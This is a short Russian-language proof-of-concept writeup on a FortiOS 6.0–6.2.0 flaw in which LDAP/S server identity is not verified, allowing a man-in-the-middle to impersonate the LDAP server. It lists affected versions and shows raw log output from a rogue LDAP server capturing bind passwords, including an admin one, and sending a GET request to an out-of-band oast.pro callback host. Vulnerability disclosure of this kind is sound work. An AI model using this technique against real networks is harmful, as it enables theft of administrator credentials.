
Конфигурация LDAP по умолчанию в FortiOS v6.0.x–v6.2.0 не проверяет подлинность сервера для LDAP/S, что приводит к MITM-атакам. Этот PoC демонстрирует полную эксфильтрацию учётных данных, отправляемых в локальной подсети на LDAP-сервер, который легко подменить.
Этот Proof of Concept (PoC) демонстрирует атаку MITM (Man-In-The-Middle): имитацию LDAP-сервера в локальной подсети устройства FortiGate под управлением уязвимой версии FortiOS.
Эти версии уязвимы:
| Version | Affected | Solution |
|---|---|---|
| FortiOS 7.0 | Not affected | Not Applicable |
| FortiOS 6.0 | 6.0.3 through 6.2.0 | Upgrade to 6.2.1 or above |
Для PoC использовалась FortiOS 6.2.0, запущенная внутри VMware Fusion.
[2025-10-16 22:59:47.366765] New connection from 192.168.43.24:54789
--- Request #1 ---
BIND Request:
Message ID: 1
DN: cn=admin,dc=example,dc=com
Password: ldapAdMiNPassw0rd!
-> Sent BIND Response (Success)
--- Request #2 ---
SEARCH Request:
Message ID: 2
Base DN: dc=example,dc=com
Filter:
cn
nLBkcjDTHC01.1...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #3 ---
BIND Request:
Message ID: 3
DN: dc=example,dc=com
Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
🔑 CAPTURED PASSWORD: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
🔧 No scheme found — prepending https:// -> https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
📡 Attempting GET request to: https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
✅ GET request successful! Status code: 200
-> Sent BIND Response (Success)
--- Request #4 ---
SEARCH Request:
Message ID: 4
Base DN: dc=example,dc=com
Filter:
objectclass0memberOfprimaryG...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #5 ---
[2025-10-16 22:59:49.159193] Connection closed from 192.168.43.24:54789
============================================================
SESSION SUMMARY - Captured Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
============================================================
Конфигурация LDAP по умолчанию в FortiOS v6.0.x–v6.2.0 не проверяет подлинность сервера для LDAP/S, что приводит к атакам MITM. Этот PoC демонстрирует полную эксфильтрацию учётных данных, отправляемых в локальной подсети на LDAP-сервер, который легко подделать.